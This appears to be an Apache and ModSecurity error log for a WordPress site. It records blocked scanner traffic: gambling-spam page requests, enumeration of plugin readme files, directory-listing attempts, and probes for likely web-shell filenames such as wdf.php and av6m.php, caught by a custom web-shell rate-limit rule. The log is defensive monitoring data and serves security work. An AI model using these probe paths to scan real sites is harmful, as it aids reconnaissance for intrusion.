[Mon Mar 23 11:06:26.883122 2026] [:error] [pid 14573:tid 14591] [client 51.77.43.72:54152] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acCuMu-oSmHn3q4_J1Ep9AAAAVA"]
[Mon Mar 23 11:06:28.345437 2026] [:error] [pid 14573:tid 14599] [client 51.77.43.72:46722] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acCuNO-oSmHn3q4_J1Ep_AAAAVg"]
[Mon Mar 23 11:06:28.481636 2026] [:error] [pid 23440:tid 23488] [client 51.77.43.72:40312] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acCuND49_8n8h_ttcUr4awAAAEw"]
[Mon Mar 23 11:06:29.470954 2026] [:error] [pid 14573:tid 14591] [client 51.77.43.72:46726] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acCuNe-oSmHn3q4_J1EqAgAAAVA"]
[Mon Mar 23 11:06:31.103042 2026] [:error] [pid 57265:tid 57284] [client 51.77.43.72:46732] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acCuN2NLjPJJkhuqCsg9HAAAARE"]
[Mon Mar 23 11:06:31.989054 2026] [:error] [pid 57265:tid 57287] [client 51.77.43.72:46742] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acCuN2NLjPJJkhuqCsg9JgAAARQ"]
[Mon Mar 23 11:06:32.069118 2026] [:error] [pid 57265:tid 57289] [client 51.77.43.72:46740] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acCuOGNLjPJJkhuqCsg9KAAAARY"]
[Mon Mar 23 11:06:33.570497 2026] [:error] [pid 57265:tid 57286] [client 51.77.43.72:46758] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acCuOWNLjPJJkhuqCsg9LAAAARM"]
[Mon Mar 23 11:06:35.470688 2026] [:error] [pid 23440:tid 23499] [client 51.77.43.72:36864] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acCuOz49_8n8h_ttcUr4bQAAAFc"]
[Mon Mar 23 11:06:36.332035 2026] [:error] [pid 23539:tid 23570] [client 51.77.43.72:36868] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acCuPH7Dh3qWGSpIAZW9LwAAANY"]
[Mon Mar 23 11:06:38.774571 2026] [:error] [pid 57265:tid 57275] [client 51.77.43.72:36884] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acCuPmNLjPJJkhuqCsg9QQAAAQg"]
[Mon Mar 23 11:06:39.173083 2026] [:error] [pid 23539:tid 23569] [client 51.77.43.72:36892] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acCuP37Dh3qWGSpIAZW9NgAAANU"]
[Mon Mar 23 11:06:41.952853 2026] [:error] [pid 35165:tid 35177] [client 51.77.43.72:36908] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acCuQc6udpN6Esk7JKsd5AAAAYk"]
[Mon Mar 23 11:06:42.304379 2026] [:error] [pid 23539:tid 23553] [client 51.77.43.72:36914] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acCuQn7Dh3qWGSpIAZW9PgAAAMU"]
[Mon Mar 23 11:06:44.781339 2026] [:error] [pid 57265:tid 57287] [client 51.77.43.72:36924] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acCuRGNLjPJJkhuqCsg9SwAAARQ"]
[Mon Mar 23 11:06:45.615164 2026] [:error] [pid 57265:tid 57283] [client 51.77.43.72:38066] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acCuRWNLjPJJkhuqCsg9TwAAARA"]
[Mon Mar 23 11:06:48.612399 2026] [:error] [pid 23439:tid 23455] [client 51.77.43.72:38072] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acCuSKZv8XIzUKdgaMdgAwAAAAY"]
[Mon Mar 23 11:06:51.977916 2026] [:error] [pid 23439:tid 23468] [client 51.77.43.72:38084] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acCuS6Zv8XIzUKdgaMdgCAAAABM"]
[Mon Mar 23 11:06:55.388011 2026] [:error] [pid 57265:tid 57288] [client 51.77.43.72:38098] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acCuT2NLjPJJkhuqCsg94AAAARU"]
[Mon Mar 23 11:06:58.769984 2026] [:error] [pid 23439:tid 23465] [client 51.77.43.72:49094] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acCuUqZv8XIzUKdgaMdgEQAAABA"]
[Mon Mar 23 11:07:01.819853 2026] [:error] [pid 23441:tid 23524] [client 51.77.43.72:49102] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acCuVRq7S-oOqSXZEr6QMAAAAJU"]
[Mon Mar 23 11:07:04.867643 2026] [:error] [pid 57265:tid 57289] [client 51.77.43.72:49110] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acCuWGNLjPJJkhuqCsg-FAAAARY"]
[Mon Mar 23 11:07:07.879091 2026] [:error] [pid 23441:tid 23525] [client 51.77.43.72:46398] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acCuWxq7S-oOqSXZEr6QMwAAAJY"]
[Mon Mar 23 11:07:10.824656 2026] [:error] [pid 23539:tid 23551] [client 51.77.43.72:46414] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acCuXn7Dh3qWGSpIAZW9ngAAAMM"]
[Mon Mar 23 11:07:13.825999 2026] [:error] [pid 14573:tid 14584] [client 51.77.43.72:46426] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acCuYe-oSmHn3q4_J1EqYAAAAUk"]
[Mon Mar 23 11:07:16.976065 2026] [:error] [pid 14573:tid 14591] [client 51.77.43.72:58956] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acCuZO-oSmHn3q4_J1EqZwAAAVA"]
[Mon Mar 23 11:07:19.827968 2026] [:error] [pid 57265:tid 57290] [client 51.77.43.72:58962] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acCuZ2NLjPJJkhuqCsg-VgAAARc"]
[Mon Mar 23 11:07:22.392623 2026] [:error] [pid 57265:tid 57272] [client 51.77.43.72:58972] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acCuamNLjPJJkhuqCsg-XwAAAQU"]
[Mon Mar 23 11:42:23.781139 2026] [authz_core:error] [pid 35165:tid 35189] [client 27.115.124.48:23899] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/elementor-pro/readme.txt
[Mon Mar 23 11:42:24.733871 2026] [authz_core:error] [pid 23441:tid 23525] [client 27.115.124.33:62756] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/wpforms/readme.txt
[Mon Mar 23 11:42:26.244301 2026] [authz_core:error] [pid 23441:tid 23512] [client 27.115.124.40:18891] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/elementor/readme.txt
[Mon Mar 23 11:42:32.277173 2026] [authz_core:error] [pid 57265:tid 57278] [client 27.115.124.49:49090] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/smart-slider-3/readme.txt
[Mon Mar 23 11:42:49.351442 2026] [authz_core:error] [pid 23440:tid 23498] [client 27.115.124.49:47350] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/sticky-header-effects-for-elementor/readme.txt
[Mon Mar 23 11:42:50.339654 2026] [authz_core:error] [pid 14573:tid 14598] [client 27.115.124.49:17144] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/google-analytics-premium/readme.txt
[Mon Mar 23 11:42:51.037157 2026] [authz_core:error] [pid 57265:tid 57286] [client 27.115.124.41:59756] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/themes/hello-elementor/readme.txt
[Mon Mar 23 13:24:00.839648 2026] [autoindex:error] [pid 23440:tid 23484] [client 142.93.208.146:61172] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 23 13:26:58.665565 2026] [:error] [pid 57265:tid 57285] [client 43.135.115.233:33758] [client 43.135.115.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acDPImNLjPJJkhuqCsiJoAAAARI"]
[Mon Mar 23 16:14:23.859405 2026] [:error] [pid 57265:tid 57285] [client 43.130.102.223:53362] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acD2X2NLjPJJkhuqCsjrxwAAARI"]
[Mon Mar 23 20:17:49.987444 2026] [autoindex:error] [pid 14573:tid 14598] [client 157.173.110.97:56179] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 23 22:25:36.105136 2026] [:error] [pid 38276:tid 38292] [client 43.157.38.228:38136] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acFNYJoKGiI-a7oME3IGVwAAAM0"]
[Mon Mar 23 23:04:19.608684 2026] [:error] [pid 38176:tid 38211] [client 40.85.222.197:21470] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/path.php"] [unique_id "acFWc0tG4qlh1gvNjuJblgAAABg"]
[Mon Mar 23 23:04:20.018472 2026] [:error] [pid 38306:tid 38321] [client 40.85.222.197:21484] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/path.php"] [unique_id "acFWdDkL8qwu-hHc6BjIvQAAAQ0"]
[Mon Mar 23 23:04:20.451957 2026] [:error] [pid 38176:tid 38204] [client 40.85.222.197:21384] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/path.php"] [unique_id "acFWdEtG4qlh1gvNjuJbmQAAABE"]
[Mon Mar 23 23:04:20.867626 2026] [:error] [pid 38276:tid 38289] [client 40.85.222.197:21395] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/path.php"] [unique_id "acFWdJoKGiI-a7oME3IQ-QAAAMo"]
[Mon Mar 23 23:04:21.279352 2026] [:error] [pid 52341:tid 52362] [client 40.85.222.197:21467] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "acFWdaPKTBDR2u47Gb0RuAAAAVM"]
[Mon Mar 23 23:04:21.690225 2026] [:error] [pid 52341:tid 52361] [client 40.85.222.197:21459] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "acFWdaPKTBDR2u47Gb0RvAAAAVI"]
[Mon Mar 23 23:04:22.099197 2026] [:error] [pid 38306:tid 38316] [client 40.85.222.197:21503] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "acFWdjkL8qwu-hHc6BjIxQAAAQg"]
[Mon Mar 23 23:04:22.509785 2026] [:error] [pid 52341:tid 52345] [client 40.85.222.197:21377] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "acFWdqPKTBDR2u47Gb0RwQAAAUI"]
[Mon Mar 23 23:04:22.919628 2026] [:error] [pid 52341:tid 52357] [client 40.85.222.197:21447] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fleen.php"] [unique_id "acFWdqPKTBDR2u47Gb0RxAAAAU4"]
[Mon Mar 23 23:04:23.332723 2026] [:error] [pid 52341:tid 52356] [client 40.85.222.197:21472] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fleen.php"] [unique_id "acFWd6PKTBDR2u47Gb0RyAAAAU0"]
[Mon Mar 23 23:04:23.743398 2026] [:error] [pid 52341:tid 52343] [client 40.85.222.197:21394] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fleen.php"] [unique_id "acFWd6PKTBDR2u47Gb0RygAAAUA"]
[Mon Mar 23 23:04:24.154688 2026] [:error] [pid 52341:tid 52351] [client 40.85.222.197:21448] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fleen.php"] [unique_id "acFWeKPKTBDR2u47Gb0RzQAAAUg"]
[Mon Mar 23 23:04:24.565478 2026] [:error] [pid 52341:tid 52359] [client 40.85.222.197:21391] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "acFWeKPKTBDR2u47Gb0R0AAAAVA"]
[Mon Mar 23 23:04:24.979206 2026] [:error] [pid 52341:tid 52367] [client 40.85.222.197:21496] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "acFWeKPKTBDR2u47Gb0R0gAAAVg"]
[Mon Mar 23 23:04:25.414197 2026] [:error] [pid 52341:tid 52354] [client 40.85.222.197:21444] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "acFWeaPKTBDR2u47Gb0R1AAAAUs"]
[Mon Mar 23 23:04:25.827866 2026] [:error] [pid 38178:tid 38251] [client 40.85.222.197:21381] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "acFWeQ0axWfXsVvR9udVxwAAAIk"]
[Mon Mar 23 23:04:26.240503 2026] [:error] [pid 38178:tid 38257] [client 40.85.222.197:21497] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av6m.php"] [unique_id "acFWeg0axWfXsVvR9udVyAAAAI8"]
[Mon Mar 23 23:04:26.651592 2026] [:error] [pid 38306:tid 38315] [client 40.85.222.197:21391] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av6m.php"] [unique_id "acFWejkL8qwu-hHc6BjIzQAAAQc"]
[Mon Mar 23 23:04:27.061891 2026] [:error] [pid 38276:tid 38280] [client 40.85.222.197:21451] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av6m.php"] [unique_id "acFWe5oKGiI-a7oME3IQ-gAAAME"]
